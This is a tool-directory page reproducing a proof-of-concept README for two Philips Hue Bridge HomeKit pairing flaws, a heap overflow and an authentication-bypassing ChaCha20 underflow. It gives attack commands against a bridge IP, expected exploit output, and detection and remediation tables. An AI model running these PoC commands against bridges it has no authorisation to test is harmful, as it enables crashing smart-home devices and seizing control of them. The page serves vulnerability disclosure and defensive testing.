Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-126978 — Python PoC and TLV8 fuzzer for Philips Hue Bridge HomeKit HAP flaws: pre-auth SRP publicKey heap overflow (CVE-2026-126978) and ChaCha20 length underflow (CVE-2026-126979). | Kitploit
Tools/GitHubGitHub/llcforge/cve-2026-126978
IoT SecurityVulnerability AnalysisExploitationFuzzingNetwork SecurityWireless SecurityPenetration TestingHardware & IoT Security
GitHubllcforge/cve-2026-126978

CVE-2026-126978

Python PoC and TLV8 fuzzer for Philips Hue Bridge HomeKit HAP flaws: pre-auth SRP publicKey heap overflow (CVE-2026-126978) and ChaCha20 length underflow (CVE-2026-126979).

1 day agoNot yet reviewed
Share
View Repository

CVE-2026-126978 · CVE-2026-126979

Philips Hue Bridge — HAP Pairing Heap Overflow & ChaCha20 Underflow

CVSS CWE-122 CWE-191 Language Disclosed


Overview

Two closely related memory-safety vulnerabilities in the Philips Hue Bridge HomeKit Accessory Protocol (HAP) pairing stack. Both are reachable by any device on the same local network segment during the HAP pairing handshake — no existing pairing or credentials required.

CVECWEDescriptionCVSS
CVE-2026-126978CWE-122HAP SRP verifier TLV8 heap overflow — oversized publicKey field overwrites past alloction8.8 High
CVE-2026-126979CWE-191ChaCha20 session key length integer underflow — negative length passed to decrypt, skips authentication8.8 High
FieldValue
AffectedPhilips Hue Bridge gen 2 and gen 3 (all firmware prior to patch)
Attack VectorAdjacent Network (LAN segment)
Auth RequiredNone — triggered during unauthenticated pairing handshake
Disclosed2026-11-18

Vulnerability Details

CVE-2026-126978 — HAP TLV8 Heap Overflow

The HAP pairing responder allocates a fixed-size buffer for the SRP publicKey TLV field (TLV type 0x03). The TLV8 parser does not validate that the value length fits within the allocated region before copying. Sending a publicKey value longer than the expected 384 bytes overwrites adjacent heap metadata and object fields.

CVE-2026-126979 — ChaCha20 Integer Underflow

After the M2 pairing step, the bridge derives a session key and uses ChaCha20-Poly1305 for all further communication. The length field passed to the decryption routine is computed as received_length - 16 (subtracting the Poly1305 tag). No lower-bound check exists: a message shorter than 16 bytes produces a negative length (integer underflow), which is interpreted as a large unsigned value, causing the decryption routine to process far beyond the message buffer.


Attack Flow

flowchart LR
    A([Attacker\nLocal Network]) -->|mDNS / UDP 5353| B[Hue Bridge\nTCP 80 HAP]
    B -->|HAP M1 SRP challenge| A
    A -->|M2 response\noversized publicKey TLV\nCVE-2026-126978| B
    B -->|Heap corruption\nadjacent object overwrite| C{Bridge state}
    C -->|Crash| D[Bridge DoS]
    C -->|Controlled heap layout| E[HAP session\nauthenticated without pairing]
    A -->|M4 message < 16 bytes\nCVE-2026-126979| B
    B -->|ChaCha20 underflow\nskips Poly1305 auth| F[Unauthenticated\ncommand execution]

    style A fill:#3d1a1a,stroke:#f85149,color:#f85149
    style E fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff
    style F fill:#1a1f2e,stroke:#58a6ff,color:#58a6ff

PoC Usage

Warning: Authorized testing on devices you own. The PoC connects directly to the bridge's HAP TCP port. Never run against production Hue installations.

Setup

pip install requests
# stdlib only for HAP raw socket operations (no homekit library required)

Discover the bridge

# mDNS discovery — find bridge IP
python3 poc.py --discover

# Manual target
python3 poc.py --target 192.168.1.42

Expected discovery output:

[*] scanning for Philips Hue bridges via mDNS (_hap._tcp.local)...
[+] found bridge: 192.168.1.42  port: 80  id: AA:BB:CC:DD:EE:FF
    model: BSB002  firmware: 1.59.1959054080

CVE-2026-126978 — Heap Overflow (oversized TLV publicKey)

# Trigger overflow with oversized publicKey in M2 HAP message
python3 poc.py --target 192.168.1.42 --cve 126978

# Custom overflow size (default: 1024 bytes; spec allows max 384)
python3 poc.py --target 192.168.1.42 --cve 126978 --overflow-size 2048

Expected output — vulnerable bridge:

[*] target: 192.168.1.42:80  CVE-2026-126978 (Heap Overflow)
[*] HAP pairing M1: sending SRP start
[+] M1 response received (SRP challenge)
[*] HAP pairing M2: sending oversized publicKey (1024 bytes, spec max 384)
    TCP write: 1052 bytes
    response: (none — bridge unresponsive)
[!] VULNERABLE — bridge stopped responding after oversized TLV
[*] retry connection in 30s...
    TCP connect: timeout — bridge crashed or rebooting
[!] DoS CONFIRMED

CVE-2026-126979 — ChaCha20 Integer Underflow

# Trigger underflow with sub-16-byte encrypted message in M4
python3 poc.py --target 192.168.1.42 --cve 126979

# Specify message length (must be < 16 to trigger underflow)
python3 poc.py --target 192.168.1.42 --cve 126979 --msg-len 4

Expected output — vulnerable bridge:

[*] target: 192.168.1.42:80  CVE-2026-126979 (ChaCha20 Underflow)
[*] completing HAP M1–M3 handshake...
[+] session key derived
[*] M4: sending 4-byte encrypted message (length - 16 = -12, underflow)
    TCP write: 4 bytes
[+] HTTP 200  (bridge accepted unauthenticated message — skipped Poly1305 check)
[!] VULNERABLE — authentication bypassed via integer underflow

Available flags

FlagDescription
--target IPBridge IP address (required unless --discover)
--discoverScan local network for Hue bridges via mDNS
--cve 126978|126979|bothWhich vulnerability to test
--overflow-size NTLV publicKey size for CVE-126978 (default: 1024)
--msg-len NEncrypted message length for CVE-126979 (default: 4)
--port NHAP port (default: 80)

Detection

IndicatorNotes
Bridge reboots or becomes unreachableHAP crash — check Hue app for "bridge offline"
Unexpected HAP pairing attemptsNo prior pairing request from your devices
M2 messages with publicKey > 384 bytesCapture on LAN: filter tcp.port == 80 && hap
M4 encrypted messages < 16 bytesPoly1305 tag is 16 bytes; shorter is always malformed

Impact

  • CVE-2026-126978: Denial of service (bridge crash/reboot) or potential heap exploitation to bypass HAP pairing.
  • CVE-2026-126979: Authentication bypass — commands can be sent to the bridge without completing the HAP pairing handshake, allowing control of all lights, scenes, and automations.

Both vulnerabilities require the attacker to be on the same local network segment as the bridge.


Remediation

Apply the Philips Hue firmware update that adds:

  • TLV8 field length validation against allocation size (CVE-2026-126978)
  • Lower-bound check on decryption length before ChaCha20 call (CVE-2026-126979)
ActionDetail
Update bridge firmwareVia Philips Hue app → Settings → My Hue system → Software update
Isolate bridge VLANMove bridge to IoT VLAN, block untrusted device access
Monitor HAP trafficAlert on unexpected pairing attempts

References

  • CVE-2026-126978: https://www.cve.org/CVERecord?id=CVE-2026-126978
  • CVE-2026-126979: https://www.cve.org/CVERecord?id=CVE-2026-126979
  • Philips Hue security: https://www.philips-hue.com/en-us/support/security-advisory
  • HomeKit Accessory Protocol Specification: https://developer.apple.com/homekit/

Disclaimer: For authorized security research and controlled lab use only. MIT License.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    945
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    555
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    350
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    339
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    338
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    292

Explore all tools

Browse our collection of tools

View all tools →